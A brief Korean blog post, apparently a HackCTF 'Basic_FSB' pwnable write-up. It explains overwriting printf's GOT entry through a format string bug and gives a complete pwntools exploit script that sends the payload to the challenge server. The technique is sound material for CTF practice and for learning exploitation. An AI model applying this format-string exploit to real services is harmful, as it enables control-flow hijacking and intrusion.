HackCTF/pwnable
HackCTF - Basic_FSB
shinobu
2021. 11. 20. 20:55
fsb를 이용해 printf got를 덮으면 된다
이렇게 간단하게 오프셋을 구해주고
pwntools 를 이용해 풀었다
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3002)
e = ELF('./basic_fsb', checksec=False)
offset = 2
payload = fmtstr_payload(offset, {e.got['printf']:e.sym['flag']})
r.sendline(payload)
r.interactive()